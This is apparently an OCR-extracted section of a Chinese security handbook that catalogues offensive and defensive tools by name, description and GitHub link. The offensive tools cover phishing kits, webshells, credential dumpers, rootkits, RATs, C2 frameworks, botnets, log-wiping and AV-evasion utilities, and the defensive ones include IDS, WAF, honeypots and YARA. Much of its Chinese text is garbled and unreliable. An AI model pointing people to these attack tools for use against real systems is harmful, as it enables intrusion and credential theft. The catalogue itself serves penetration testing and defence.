https://usersearch.org/
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9.4.4 Hacking database

« GHDB

e have i been pwned

9.4.5 &

e spoofcheck

e gophish

e SocialFish

e HFish A Most Convenient Honeypot Platform

e blackeye complete Phishing Tool, with 32 templates +1 customizable
e king phisher Phishing Campaign Toolkit

o espoofer An email spoofing testing tool that aims to bypass SPF/DKIM/DMARC and forge DKIM

signatures
o ditto A tool for IDN homograph attacks and detection

o SiteCopy sitecopy is a tool that facilitates personal website backup and network data collection

9.4.6 MFHE
. A
¢ Infinite Panc
9.4.7 FHLFM

¢ OMEN Ordered Markov ENumerator - Password Guesser

e genpAss

9.4.8 thi&

o cmail hack ET Python i THR: &4
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https://www.exploit-db.com/google-hacking-database/
https://github.com/kernelmachine/haveibeenpwned
https://github.com/BishopFox/spoofcheck
https://github.com/gophish/gophish
https://github.com/UndeadSec/SocialFish
https://github.com/hacklcx/HFish
https://github.com/thelinuxchoice/blackeye
https://github.com/rsmusllp/king-phisher/
https://github.com/chenjj/espoofer
https://github.com/evilsocket/ditto
https://github.com/Threezh1/SiteCopy
http://magnet.chongbuluo.com/
http://www.panduoduo.net/
https://www.panc.cc
https://github.com/RUB-SysSec/OMEN
https://github.com/RicterZ/genpAss
https://github.com/Macr0phag3/email_hack
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9.4.9 LZZEIEL

e theHarvester
e Th3inspector

e ReconDog

9.5 {R#AM

9.5.1 Web Fuzz

o wiuzz

e SecLists

o fuzzdb

o foospidy payloads

o ffuf Fast web fuzzer written in Go

9.5.2 13}52E

e Nuclei a fast tool for configurable targeted vulnerability scanning based on templates offering massive

extensibility and ease of use

o xray T TH, SCRAHIL web 224 B H E X poc

9.5.3 XSS Payloads
e PORTSWIGGER XSS cheat sheet
e Pgaijin66 XSS-Payloads

« OWASP XSS

9.5.4 Burp ¥

e BurpBounty Scan Check Builder
e BurpShiroPassiveScan

o IntruderPayloads A collection of Burpsuite Intruder payloads
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https://github.com/laramies/theHarvester
https://github.com/Moham3dRiahi/Th3inspector
https://github.com/s0md3v/ReconDog
https://github.com/xmendez/wfuzz
https://github.com/danielmiessler/SecLists
https://github.com/fuzzdb-project/fuzzdb
https://github.com/foospidy/payloads
https://github.com/ffuf/ffuf
https://github.com/projectdiscovery/nuclei
https://github.com/chaitin/xray
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
https://github.com/Pgaijin66/XSS-Payloads
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
https://github.com/wagiro/BurpBounty
https://github.com/pmiaowu/BurpShiroPassiveScan
https://github.com/1N3/IntruderPayloads
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9.5.5 s¢HL

o Blasting dictionary

e pydictor A powerful and useful hacker dictionary builder for a brute-force attack
o fuzzDicts Web Pentesting Fuzz 7l

e bruteforce lists

¢ CT subdomains
o PentesterSpecialDict B 51 % RS a4k 7 i
9.5.6 Unicode Fuzz

o utfl6encode

9.5.7 WAF Bypass

e abuse ssl bypass waf

e wafninja

9.6 miREFIA /&

9.6.1 FUEEEEAN

e SQLMap
e bbqsql

e MSDAT Microsoft SQL Database Attacking Tool

9.6.2 FEEHLBUREEIEAN

e NoSQLAttack
e NoSQLMap
e Nosql Exploitation Framework

e MongoDB audit
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https://github.com/rootphantomer/Blasting_dictionary
https://github.com/LandGrey/pydictor
https://github.com/TheKingOfDuck/fuzzDicts
https://github.com/random-robbie/bruteforce-lists
https://github.com/internetwache/CT_subdomains
https://github.com/ppbibo/PentesterSpecialDict
http://www.fileformat.info/info/charset/UTF-16/list.htm
https://github.com/LandGrey/abuse-ssl-bypass-waf
https://github.com/khalilbijjou/wafninja
https://github.com/sqlmapproject/sqlmap
https://github.com/Neohapsis/bbqsql
https://github.com/quentinhardy/msdat
https://github.com/youngyangyang04/NoSQLAttack
https://github.com/codingo/NoSQLMap
https://github.com/torque59/Nosql-Exploitation-Framework
https://github.com/stampery/mongoaudit
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9.6.3 $iEFERIEH A

o mysql unshal

e ODAT Oracle Database Attacking Tool

9.6.4 XSS

e BeEF

e XSS Reciver
e DSXS

o XSStrike

e Xsssniper

e tracy

o xsleaks A collection of browser-based side channel attack vectors

9.6.5 SSRF

e SSRFmap
e SSRF Proxy
o Gopherus

o SSRF Testing

9.6.6 #EHRIEN

e tplmap

9.6.7 HTTP Request Smuggling

o smuggler An HTTP Request Smuggling / Desync testing tool written in Python

e h2cSmuggler HTTP Request Smuggling over HTTP /2 Cleartext (h2c)

9.6.8 H<IEAN

e commix
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https://github.com/cyrus-and/mysql-unsha1
https://github.com/quentinhardy/odat
https://github.com/beefproject/beef
https://github.com/firesunCN/BlueLotus_XSSReceiver
https://github.com/stamparm/DSXS
https://github.com/s0md3v/XSStrike
https://github.com/gbrindisi/xsssniper
https://github.com/nccgroup/tracy
https://github.com/xsleaks/xsleaks
https://github.com/swisskyrepo/SSRFmap
https://github.com/bcoles/ssrf_proxy
https://github.com/tarunkant/Gopherus
https://github.com/cujanovic/SSRF-Testing
https://github.com/epinna/tplmap
https://github.com/defparam/smuggler
https://github.com/BishopFox/h2csmuggler
https://github.com/commixproject/commix
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9.6.9 PHP

e Chankro Herramienta para evadir disable_ functions y open_ basedir

9.6.10 LFI

o LFISuite

e FDsploit

9.6.11 struts

e struts scan

9.6.12 CMS

e Joomla Vulnerability Scanner

e Drupal enumeration & exploitation tool
e Wordpress Vulnerability Scanner

e TPscan —f# ThinkPHP JilAE M

e dedecmscan 24 4 AN

9.6.13 Java EZR

e ShiroScan Shiro<=1.2.4 @54kt T2

o fastjson rce tool fastjson Ay HATH|H LA

9.6.14 DNS #8%i%H

e dnsAutoRebinding

e AngelSword

e Subdomain TakeOver

e mpDNS

e JudasDNS Nameserver DNS poisoning

e singularity A DNS rebinding attack framework by NGC Group
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https://github.com/TarlogicSecurity/Chankro
https://github.com/D35m0nd142/LFISuite
https://github.com/chrispetrou/FDsploit
https://github.com/Lucifer1993/struts-scan
https://github.com/rezasp/joomscan
https://github.com/immunIT/drupwn
https://github.com/UltimateLabs/Zoom
https://github.com/Lucifer1993/TPscan
https://github.com/lengjibo/dedecmscan
https://github.com/sv3nbeast/ShiroScan
https://github.com/wyzxxz/fastjson_rce_tool
https://github.com/Tr3jer/dnsAutoRebinding
https://github.com/Lucifer1993/AngelSword
https://github.com/m4ll0k/takeover
https://github.com/nopernik/mpDNS
https://github.com/mandatoryprogrammer/JudasDNS
https://github.com/nccgroup/singularity
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9.6.15 DNS #iEiRE

o dnsteal

o DNSEXxfiltrator

e dns exfiltration by krmaxwell

e dns exfiltration by coryschwartz

e requestbin for dns

9.6.16 DNS [&i&E

e dnstunnel de

e jodine

9.6.17 DNS Shell

e chashell

e dnscat2

9.6.18 XXE

e XXEinjector
e XXER

e DTD Finder List DTDs and generate XXE payloads using those local DTDs

9.6.19 %It

Java RFFIMt

e ysoserial

e« JRE8u20 RCE Gadget

e Java Serialization Dumper A tool to dump Java serialization streams in a more human readable form
e marshalsec Java Unmarshaller Security - Turning your data into code execution

e gadgetinspector A byte code analyzer for finding deserialization gadget chains in Java applications

o fastjsonScan fastjson il burp &4
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https://github.com/m57/dnsteal
https://github.com/Arno0x/DNSExfiltrator
https://github.com/krmaxwell/dns-exfiltration
https://github.com/coryschwartz/dns_exfiltration
http://requestbin.net/dns
https://dnstunnel.de/
https://code.kryo.se/iodine/
https://github.com/sysdream/chashell
https://github.com/iagox86/dnscat2
https://github.com/enjoiz/XXEinjector
https://github.com/TheTwitchy/xxer
https://github.com/GoSecure/dtd-finder
https://github.com/frohoff/ysoserial
https://github.com/pwntester/JRE8u20_RCE_Gadget
https://github.com/NickstaDB/SerializationDumper
https://github.com/mbechler/marshalsec
https://github.com/JackOfMostTrades/gadgetinspector
https://github.com/zilong3033/fastjsonScan
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NET RFF3lft

e viewgen ASP.NET ViewState Generator

9.6.20 JNDI

e Rogue JNDI A malicious LDAP server for JNDI injection attacks

9.6.21 ix0O Hack

o nmap vulners
e nmap nse scripts

e Vulnerability Scanning with Nmap

9.6.22 JWT

o jwtcrack

9.6.23 £k

e infernal twin

9.6.24 dhja) \M i

mitmproxy
MITMf
ssh mitm
injectify

Responder Responder is a LLMNR, NBT-NS and MDNS poisoner, with built-in
HTTP/SMB/MSSQL/FTP/LDAP rogue authentication server supporting NTLMv1/NTLMv2/LMv2,
Extended Security NTLMSSP and Basic HTTP authentication.

toxy Hackable HTTP proxy for resiliency testing and simulated network conditions

bettercap The Swiss Army knife for 802.11, BLE and Ethernet networks reconnaissance and MITM

attacks
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https://github.com/0xacb/viewgen
https://github.com/veracode-research/rogue-jndi
https://github.com/vulnersCom/nmap-vulners
https://github.com/cldrn/nmap-nse-scripts
https://github.com/scipag/vulscan
https://github.com/brendan-rius/c-jwt-cracker
https://github.com/entropy1337/infernal-twin
https://github.com/mitmproxy/mitmproxy
https://github.com/byt3bl33d3r/MITMf
https://github.com/jtesta/ssh-mitm
https://github.com/samdenty99/injectify
https://github.com/lgandx/Responder
https://github.com/h2non/toxy
https://github.com/bettercap/bettercap
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9.6.25 DHCP

e DHCPwn

9.6.26 DDoS

e Saddam

9.6.27 JEMFTiEX

o Regexploit Find regular expressions which are vulnerable to ReDoS

9.6.28 Shellcode

e go shellcode A repository of Windows Shellcode runners and supporting utilities

9.6.29 HEY

e secscan authcheck

9.6.30 F|HES
+ DNSLog sg—#kii#s DNS Al HTTP Py TR
o LuWu 2 BAELA s B 2 ik TR
9.6.31 JmiRF MAEE
e Penetration Testing POC
e the ipv6 IPv6 attack toolkit
9.6.32 Windows

e« PyWSUS a standalone implementation of a legitimate WSUS server which sends malicious responses

to clients
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https://github.com/mschwager/dhcpwn
https://github.com/OffensivePython/Saddam
https://github.com/doyensec/regexploit
https://github.com/Ne0nd0g/go-shellcode
https://github.com/ztosec/secscan-authcheck
https://github.com/BugScanTeam/DNSLog
https://github.com/QAX-A-Team/LuWu
https://github.com/Mr-xn/Penetration_Testing_POC
https://github.com/vanhauser-thc/thc-ipv6
https://github.com/GoSecure/pywsus
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9.7 iEiRZE

9.7.1 Bad USB

o WiFiDuck Keystroke injection attack plattform

e BadUSB code badusb f—275 F 5 =0 AL

o WHID WiFi HID Injector - An USB Rubberducky / BadUSB On Steroids
e BadUSB cable based on Attiny85 microcontroller

e USB Rubber Ducky

9.7.2 wifi

e wifiphisher
e evilginx
e mana

o pwnagotchi

9.7.3 T4k

o hackrf low cost software radio platform

9.8 Web X1t

9.8.1 WebShell EETH

. %71
e antSword

o URUE BIAS RGN W R

e weevely3 Weaponized web shell

e Altman the cross platform webshell tool in .NET

e Webshell Sniper Manage your website via terminal

e quasibot complex webshell manager, quasi-http botnet
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https://github.com/spacehuhn/WiFiDuck
https://github.com/Xyntax/BadUSB-code
https://github.com/whid-injector/WHID
https://github.com/joelsernamoreno/BadUSB-Cable
https://github.com/hak5darren/USB-Rubber-Ducky
https://github.com/wifiphisher/wifiphisher
https://github.com/kgretzky/evilginx
https://github.com/sensepost/mana
https://github.com/evilsocket/pwnagotchi
https://github.com/mossmann/hackrf
https://github.com/Chora10/Cknife
https://github.com/antoor/antSword
https://github.com/rebeyond/Behinder
https://github.com/epinna/weevely3
https://github.com/keepwn/Altman
https://github.com/WangYihang/Webshell-Sniper
https://github.com/Smaash/quasibot
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9.8.2 WebShell

webshell

PHP backdoors

php bash - semi-interactive web shell
Python RSA Encrypted Shell

b374k - PHP WebShell Custom Tool
JSP Webshells

MemShellDemo

9.8.3 Web 517

pwnginx
Apache backdoor

SharpGen .NET Core console application that utilizes the Rosyln C# compiler to quickly cross-compile

.NET Framework console applications or libraries

IIS-Raid A native backdoor module for Microsoft IIS

9.9 MmN

9.9.1 i3

adidnsdump Active Directory Integrated DNS dump tool
BloodHound Six Degrees of Domain Admin
PlumHound Bloodhound for Blue and Purple Teams

windapsearch Python script to enumerate users, groups and computers from a Windows domain
through LDAP queries

ldapdomaindump Active Directory information dumper via LDAP
Kerberoast a series of tools for attacking MS Kerberos implementations
ADRecon Active Directory Recon

Creds Some usefull Scripts and Executables for Pentest & Forensics

Lithnet Password Protection for Active Directory Active Directory password filter featuring breached

password checking and custom complexity rules
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https://github.com/tennc/webshell
https://github.com/bartblaze/PHP-backdoors
https://github.com/Arrexel/phpbash
https://github.com/Eitenne/TopHat.git
https://github.com/b374k/b374k
https://github.com/threedr3am/JSP-Webshells
https://github.com/jweny/MemShellDemo
https://github.com/t57root/pwnginx
https://github.com/WangYihang/Apache-HTTP-Server-Module-Backdoor
https://github.com/cobbr/SharpGen
https://github.com/0x09AL/IIS-Raid
https://github.com/dirkjanm/adidnsdump
https://github.com/BloodHoundAD/BloodHound
https://github.com/PlumHound/PlumHound
https://github.com/ropnop/windapsearch
https://github.com/dirkjanm/ldapdomaindump
https://github.com/nidem/kerberoast
https://github.com/sense-of-security/ADRecon
https://github.com/S3cur3Th1sSh1t/Creds
https://github.com/lithnet/ad-password-protection
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9.9.2 2%

e CDK an open-sourced container penetration toolkit, offering stable exploitation in different slimmed

containers without any OS dependency

9.9.3 kA mH A

e LyncSniper A tool for penetration testing Skype for Business and Lync deployments
o MSOLSpray A password spraying tool for Microsoft Online accounts (Azure/0365)

e MailSniper MailSniper is a penetration testing tool for searching through email in a Microsoft Exchange

environment for specific terms

9.9.4 Azure AD

e« ROADtools Azure AD exploration framework

9.9.5 Exchange

e ruler A tool to abuse Exchange services
e MailSniper

e PrivExchange Exchange your privileges for Domain Admin privs by abusing Exchange

9.9.6 PowerShell

o PowerShellMafia

9.9.7 AM{ERIKE

e SharpShares Quick and dirty binary to list network share information from all machines in the current

domain and if they’re readable

e WinShareEnum Windows Share Enumerator

o HackBrowserData @& EasddE S H THE

9.9.8 Kerberos

e Rubeus

e kerbrute A tool to perform Kerberos pre-auth bruteforcing
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https://github.com/cdk-team/CDK
https://github.com/mdsecresearch/LyncSniper
https://github.com/dafthack/MSOLSpray
https://github.com/dafthack/MailSniper
https://github.com/dirkjanm/ROADtools
https://github.com/sensepost/ruler
https://github.com/dafthack/MailSniper
https://github.com/dirkjanm/PrivExchange
https://github.com/PowerShellMafia
https://github.com/djhohnstein/SharpShares
https://github.com/nccgroup/WinShareEnum
https://github.com/moonD4rk/HackBrowserData
https://github.com/GhostPack/Rubeus
https://github.com/ropnop/kerbrute
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9.9.9 BapftEHit

e Infection Monkey Data center Security Testing Tool

9.9.10 &gt

o SysWhispers AV/EDR evasion via direct system calls
o SysWhispers2 AV/EDR evasion via direct system calls

e Dumpert LSASS memory dumper using direct system calls and API unhooking

9.9.11 MY

o InScan AT E G HINMLBET R
o fscan —EXNMZEGHRE TR, HE—#ANL. 2R,

9.10 RIERGIFHAIL

9.10.1 Windows
AN Y:
e mimikatz
o RdpThief Extracting Clear Text Passwords from mstsc.exe using API Hooking

e quarkspwdump Dump various types of Windows credentials without injecting in any process

e SharpDump C# port of PowerSploit’s Out-Minidump.psl functionality

WpREEFH

e WindowsExploits
e GTFOBins Curated list of Unix binaries that can be exploited to bypass system security restrictions

o JAWS Just Another Windows (Enum) Script

UAC Bypass

e WinPwnage UAC bypass, Elevate, Persistence and Execution methods

e UACME Defeating Windows User Account Control
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https://github.com/guardicore/monkey
https://github.com/jthuraisamy/SysWhispers
https://github.com/jthuraisamy/SysWhispers2
https://github.com/outflanknl/Dumpert
https://github.com/inbug-team/InScan
https://github.com/shadow1ng/fscan
https://github.com/gentilkiwi/mimikatz
https://github.com/0x09AL/RdpThief
https://github.com/quarkslab/quarkspwdump
https://github.com/GhostPack/SharpDump
https://github.com/abatchy17/WindowsExploits
https://github.com/GTFOBins/GTFOBins.github.io
https://github.com/411Hall/JAWS
https://github.com/rootm0s/WinPwnage
https://github.com/hfiref0x/UACME
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e UAC Bypass In The Wild

R

e SigThief Stealing Signatures and Making One Invalid Signature at a Time

Cc2

e SharpSploit .NET post-exploitation library written in C#

o Koadic is a Windows post-exploitation rootkit

(EE

e ProcessHider Post-exploitation tool for hiding processes from monitoring applications
e Invoke PhantOm Windows Event Log Killer

e EventCleaner A tool mainly to erase specified records from Windows event logs, with additional func-

tionalities

DLL EA

e sRDI Shellcode Reflective DLL Injection

rootkit

e 177-rootkit Ring 3 rootkit with single file installer and fileless persistence that hides processes, files,

network connections, etc

e parent PID spoofing Scripts for performing and detecting parent PID spoofing

o GetSystem This is a C# implementation of making a process/executable run as NT AUTHOR-
ITY/SYSTEM. This is achieved through parent ID spoofing of almost any SYSTEM process.
MiTM

e Seth Perform a MitM attack and extract clear text credentials from RDP connections

e pyrdp RDP man-in-the-middle (mitm) and library for Python with the ability to watch connections

live or after the fact
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https://github.com/sailay1996/UAC_Bypass_In_The_Wild
https://github.com/secretsquirrel/SigThief
https://github.com/cobbr/SharpSploit
https://github.com/zerosum0x0/koadic
https://github.com/M00nRise/ProcessHider
https://github.com/hlldz/Invoke-Phant0m
https://github.com/QAX-A-Team/EventCleaner
https://github.com/monoxgas/sRDI
https://github.com/bytecode77/r77-rootkit
https://github.com/countercept/ppid-spoofing
https://github.com/py7hagoras/GetSystem
https://github.com/SySS-Research/Seth
https://github.com/GoSecure/pyrdp
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e Nishang Offensive PowerShell for red team, penetration testing and offensive security

9.10.2 Linux

W pREEFH

e linux exploit suggester
e LinEnum Scripted Local Linux Enumeration & Privilege Escalation Checks
e AutoLocalPrivilegeEscalation

rootkit

e rootkit

o Diamorphine LKM rootkit for Linux Kernels 2.6.x/3.x/4.x/5.x (x86/x86_64 and ARMG64)

B

e prism is an user space stealth reverse shell backdoor

e icmpsh Simple reverse ICMP shell

9.10.3 &&
AR
o sshlLooterC program to steal passwords from ssh
e keychaindump A proof-of-concept tool for reading OS X keychain passwords

e LaZagne Credentials recovery project

e SecretScanner Find secrets and passwords in container images and file systems

WEREEFH

o BeRoot Privilege Escalation Project - Windows / Linux / Mac

RAT

e QuasarRAT
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https://github.com/samratashok/nishang
https://github.com/mzet-/linux-exploit-suggester
https://github.com/rebootuser/LinEnum
https://github.com/ngalongc/AutoLocalPrivilegeEscalation
https://github.com/nurupo/rootkit
https://github.com/m0nad/Diamorphine
https://github.com/andreafabrizi/prism
https://github.com/inquisb/icmpsh
https://github.com/mthbernardes/sshLooterC
https://github.com/juuso/keychaindump
https://github.com/AlessandroZ/LaZagne
https://github.com/deepfence/SecretScanner
https://github.com/AlessandroZ/BeRoot
https://github.com/quasar/QuasarRAT
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C2

e Empire
e pupy
o Covenant is a collaborative NET C2 framework for red teamers

o Cooolis-ms 117 T Metasploit Payload Loader. Cobalt Strike External C2 Loader. Reflective DLL
injection MIAIBIAT TR

DNS Shell

e« DNS Shell DNS-Shell is an interactive Shell over DNS channel

e Reverse DNS Shell A python reverse shell that uses DNS as the ¢2 channel

Cobalt Strike

e Cobalt Strike
e CrossC2 generate CobaltStrike’s cross-platform payload

o Cobalt Strike Aggressor Scripts

B&ERER

o Log killer Clear all logs in [linux/windows] servers

Botnet

e byob Build Your Own Botnet

e AV Evasion Tool #H - e XA PUTsE R T HE

e DKMC Dont kill my cat - Malicious payload evasion tool

9.11 #HitIT R

9.11.1 ;&H

e Cobra
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https://github.com/EmpireProject/Empire
https://github.com/n1nj4sec/pupy
https://github.com/cobbr/Covenant
https://github.com/Rvn0xsy/Cooolis-ms
https://github.com/sensepost/DNS-Shell
https://github.com/ahhh/Reverse_DNS_Shell
https://www.cobaltstrike.com
https://github.com/gloxec/CrossC2
https://github.com/timwhitez/Cobalt-Strike-Aggressor-Scripts
https://github.com/Rizer0/Log-killer
https://github.com/malwaredllc/byob
https://github.com/1y0n/AV_Evasion_Tool
https://github.com/Mr-Un1k0d3r/DKMC
https://github.com/FeeiCN/cobra
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Semmle QL
e Sourcetrail free and open-source cross-platform source explorer
e trivy A Simple and Comprehensive Vulnerability Scanner for Containers, Suitable for CI
o fortify

9.11.2 PHP

e RIPS
e prvd
e phpvulhunter

e chip a simple tool to detect potential security threat in php code

9.11.3 Python

e pyvulhunter

e Dyt

9.11.4 Java

e find sec bugs

o Gadget Inspector A byte code analyzer for finding deserialization gadget chains in Java applications

9.11.5 JavaScript

¢ NodeJsScan

9.11.6 {# %%

e Dependency-Track is an intelligent Supply Chain Component Analysis platform that allows organiza-

tions to identify and reduce risk from the use of third-party and open source components

9.12 BhiE

9.12.1 HFELE

e Sysmon
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https://github.com/Semmle/ql
https://github.com/CoatiSoftware/Sourcetrail
https://github.com/knqyf263/trivy
http://www.fortify.net/
http://rips-scanner.sourceforge.net/
https://github.com/fate0/prvd
https://github.com/OneSourceCat/phpvulhunter
https://github.com/phith0n/chip
https://github.com/shengqi158/pyvulhunter
https://github.com/python-security/pyt
https://github.com/find-sec-bugs/find-sec-bugs
https://github.com/JackOfMostTrades/gadgetinspector
https://github.com/ajinabraham/NodeJsScan
https://github.com/DependencyTrack/dependency-track
https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon
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e LastActivityView
e Regshot

o teler Real-time HTTP Intrusion Detection

9.12.2 £k MniR

« attack monitor Endpoint detection & Malware analysis software

o artillery The Artillery Project is an open-source blue team tool designed to protect Linux and Windows

operating systems through multiple methods.
e yurita Anomaly detection framework @ PayPal

e crowdsec An open-source, lightweight agent to detect and respond to bad behaviours

9.12.3 XSS Bhip

e jS XSS
e DOMPurify

e google csp evaluator

9.12.4 BLEXE

e Attack Surface Analyzer analyze operating system’s security configuration for changes during software

installation.
o gixy Nginx i & T H

e dockerscan Docker security analysis & hacking tools

9.12.5 Z2KE

e lynis Security auditing tool for Linux, macOS, and UNIX-based systems

¢ linux malware detect

9.12.6 IDS

e Ossec
e yulong

e AgentSmith
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http://www.nirsoft.net/utils/computer_activity_view.html
https://sourceforge.net/projects/regshot/
https://github.com/kitabisa/teler
https://github.com/yarox24/attack_monitor
https://github.com/BinaryDefense/artillery
https://github.com/paypal/yurita
https://github.com/crowdsecurity/crowdsec
https://github.com/leizongmin/js-xss
https://github.com/cure53/DOMPurify
https://csp-evaluator.withgoogle.com/
https://github.com/microsoft/AttackSurfaceAnalyzer
https://github.com/yandex/gixy
https://github.com/cr0hn/dockerscan
https://github.com/CISOfy/lynis
https://github.com/rfxn/linux-malware-detect
https://github.com/ossec/ossec-hids
https://github.com/ysrc/yulong-hids
https://github.com/DianrongSecurity/AgentSmith-HIDS
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e ByteDance HIDS Cloud-Native Host-Based Intrusion Detection

9.12.7 SIEM

e panther Detect threats with log data and improve cloud security posture

9.12.8 EilriER

o threatfeeds

e abuseipdb

9.12.9 APT

e APT Groups and Operations
e APTnotes

e APT Hunter Threat Hunting tool for windows event logs which made by purple team mindset to
provide detect APT movements hidden in the sea of windows event logs to decrease the time to

uncover suspicious activity

9.12.10 A\ REE

e huorong

e check rootkit
e rootkit hunter
e PC Hunter

e autoruns

9.12.11 #EEE

e Process Explorer

e ProcessHacker

9.12.12 Waf

e naxsi

e ModSecurity
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https://github.com/bytedance/ByteDance-HIDS
https://github.com/panther-labs/panther
https://threatfeeds.io/
https://www.abuseipdb.com/
https://docs.google.com/spreadsheets/d/1H9_xaxQHpWaa4O_Son4Gx0YOIzlcBWMsdvePFX68EKU/pubhtml
https://github.com/kbandla/APTnotes
https://github.com/ahmedkhlief/APT-Hunter
https://www.huorong.cn/
http://www.chkrootkit.org
http://rkhunter.sourceforge.net/
http://www.xuetr.com/
https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns
https://docs.microsoft.com/zh-cn/sysinternals/downloads/process-explorer
https://processhacker.sourceforge.io/
https://github.com/nbs-system/naxsi
https://github.com/SpiderLabs/ModSecurity
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e ngx_lua_waf

e OpenWAF

9.12.13 IREAEZXER

e virustotal
e virscan

e habo

9.12.14 WebShell Z3%

« DJE
. (ﬁ{%ﬂﬁ WebShell Eﬁ%

e php malware finder

9.12.15 M / loC

e malware ioc

e fireeye public iocs

o signature base

e yara rules

o capa rules standard collection of rules for capa
o AttackDetection Suricata PT Open Ruleset

e DailyIOC I0C from articles, tweets for archives

9.12.16 R ih+em

e ARTIF An advanced real time threat intelligence framework to identify threats and malicious web

traffic on the basis of IP reputation and historical data

9.12.17 Security Advisories

e Apache httpd Security Advisories
e Apache Solr

e Apache Tomcat
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https://github.com/loveshell/ngx_lua_waf
https://github.com/titansec/OpenWAF
https://www.virustotal.com/
http://www.virscan.org
https://habo.qq.com
http://www.d99net.net/index.asp
http://edr.sangfor.com.cn/backdoor_detection.html
https://github.com/nbs-system/php-malware-finder
https://github.com/eset/malware-ioc
https://github.com/fireeye/iocs
https://github.com/Neo23x0/signature-base
https://github.com/Yara-Rules/rules
https://github.com/fireeye/capa-rules
https://github.com/ptresearch/AttackDetection
https://github.com/StrangerealIntel/DailyIOC
https://github.com/CRED-CLUB/ARTIF
https://httpd.apache.org/security/
https://lucene.apache.org/solr/security.html
https://tomcat.apache.org/security-8.html
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o Jetty Security Reports
e Nginx Security Advisories

e OpenSSL

9.12.18 Security Tracker

e Nginx Security Tracker

9.12.19 LETH

e yara The pattern matching swiss knife

e capa The FLARE team’s open-source tool to identify capabilities in executable files.

9.12.20 DoS PBAh3F

o Gatekeeper <https://github.com/AltraMayor/gatekeeper>‘_ open-source DDoS protection system

9.12.21 ¥WF4EH

e sliver Adversary Simulation Framework

9.12.22 A\EB5#P
e fail2ban
9.13 Z&HX%

9.13.1 X B&izHl

o aswan [P REE R GRS MG %

9.13.2 BB NIT

e« PHP CodeSniffer tokenizes PHP files and detects violations of a defined set of coding standards
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https://www.eclipse.org/jetty/documentation/current/security-reports.html
http://nginx.org/en/security_advisories.html
https://www.openssl.org/news/vulnerabilities.html
https://security-tracker.debian.org/tracker/source-package/nginx
https://github.com/VirusTotal/yara
https://github.com/fireeye/capa
https://github.com/BishopFox/sliver
https://github.com/fail2ban/fail2ban
https://github.com/momosecurity/aswan
https://github.com/squizlabs/PHP_CodeSniffer
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9.13.3 R&wBHE

JAVA 274 SDK 4l #nia

PHP 44 SDK K a5 iiie

9.13.4 jRiAEHE

SRCMS

%8 EAGRN RGP EH . e ad oy IR, LR B =0 — K6
xunfeng 1 F T bl N MR IRRPOE RS, EATETE RS

DefectDojo an open-source application vulnerability correlation and security orchestration tool

Fuxi Scanner Penetration Testing Platform

SeMF ek WM Z 4GB, W™ ER, WG, S8R, FREE. e Hahbohbe
R

9.13.5 DevSecOps

hunter H13fi DevSecOps M %, #ish=\ w2

9.14 =t

9.14.1 F&E

Bro

Moloch Large scale, open source, indexed packet capture and search
TCPFlow

TCPDump

WireShark

Argus

PcapPlusPlus

ngrep

cisco joy A package for capturing and analyzing network flow data and intraflow data, for network

research, forensics, and security monitoring.

impacket is a collection of Python classes for working with network protocols
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https://github.com/momosecurity/rhizobia_J
https://github.com/momosecurity/rhizobia_P
https://github.com/martinzhou2015/SRCMS
https://github.com/creditease-sec/insight
https://github.com/ysrc/xunfeng
https://github.com/DefectDojo/django-DefectDojo
https://github.com/jeffzh3ng/Fuxi-Scanner
https://gitee.com/gy071089/SecurityManageFramwork
https://github.com/ztosec/hunter
https://www.bro.org/
https://github.com/aol/moloch
https://github.com/simsong/tcpflow
http://www.tcpdump.org/
https://www.wireshark.org
https://github.com/salesforce/Argus
https://github.com/seladb/PcapPlusPlus
https://github.com/jpr5/ngrep
https://github.com/cisco/joy
https://github.com/SecureAuthCorp/impacket
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o NFStream a Flexible Network Data Analysis Framework

e BruteShark Network Analysis Tool

9.14.2 R2:§]

e jumpserver
e CrazyEye

o GateOne

9.14.3 ZEf

e Dionaea

e Modern Honey Network
o Cowrie SSH/Telnet Z£#
e honeything IoT Z&f#

o ConPot TI5iK iz

e MongoDB HoneyProxy
e ElasticHoney

« DCEPT

e Canarytokens

e Honeydrive

e T-Pot The All In One Honeypot Platform
e opencanary

o HFish

e kippo SSH Honeypot

o Ehoney HIBI R4

9.14.4 VPN Install
* pPptp
e ipsec

e openvpn
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https://github.com/nfstream/nfstream
https://github.com/odedshimon/BruteShark
https://github.com/jumpserver/jumpserver
https://github.com/triaquae/CrazyEye
https://github.com/liftoff/GateOne
https://github.com/DinoTools/dionaea
https://github.com/threatstream/mhn
https://github.com/micheloosterhof/cowrie
https://github.com/omererdem/honeything
http://conpot.org/
https://github.com/Plazmaz/MongoDB-HoneyProxy
https://github.com/jordan-wright/elastichoney
https://github.com/secureworks/dcept
https://github.com/thinkst/canarytokens
http://bruteforcelab.com/honeydrive
https://github.com/dtag-dev-sec/tpotce/
https://github.com/p1r06u3/opencanary_web
https://github.com/hacklcx/HFish
https://github.com/desaster/kippo
https://github.com/seccome/Ehoney
https://github.com/viljoviitanen/setup-simple-pptp-vpn
https://github.com/hwdsl2/setup-ipsec-vpn
https://github.com/Nyr/openvpn-install
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9.14.5 fEiE / KB
e ngrok
o rtcp
e Tunna
e gost GO Simple Tunnel
e reDuh Create a TCP circuit through validly formed HTTP requests
e reGeorg pwn a bastion webserver and create SOCKS proxies through the DMZ. Pivot and pwn
e Neo-reGeorg Neo-reGeorg is a project that seeks to aggressively refactor reGeorg
o ABPTTS TCP tunneling over HTTP/HTTPS for web application servers
o frp A fast reverse proxy to help you expose a local server behind a NAT or firewall to the internet
o lanproxy PNMZEdE T H
e ligolo Reverse Tunneling made easy for pentesters

o BarthWorm j&—3 T IFE SOCKS v5 BRI TR, BThsiE C It ik, w1 G
IR, TR I N R & .

e Tunna is a set of tools which will wrap and tunnel any TCP communication over HTTP

e mssqlproxy is a toolkit aimed to perform lateral movement in restricted environments through a com-

promised Microsoft SQL Server via socket reuse

e nps a lightweight, high-performance, powerful intranet penetration proxy server, with a powerful web

management terminal

9.14.6 X¥E5HE

e Netch Support Socksb, Shadowsocks, ShadowsocksR, V2Ray, Trojan proxies. UDP NAT FullCone

e proxychains a tool that forces any TCP connection made by any given application to follow through
proxy like TOR or any other SOCKS4, SOCKS5 or HTTP(S) proxy

9.14.7 {rERE
o BlueKing CMDB T[] [a] % 7™ K W FH (A Al 2 Bl B4 P
o ARL BT B A4

9.14.8 11

e bombus FHEITFEE

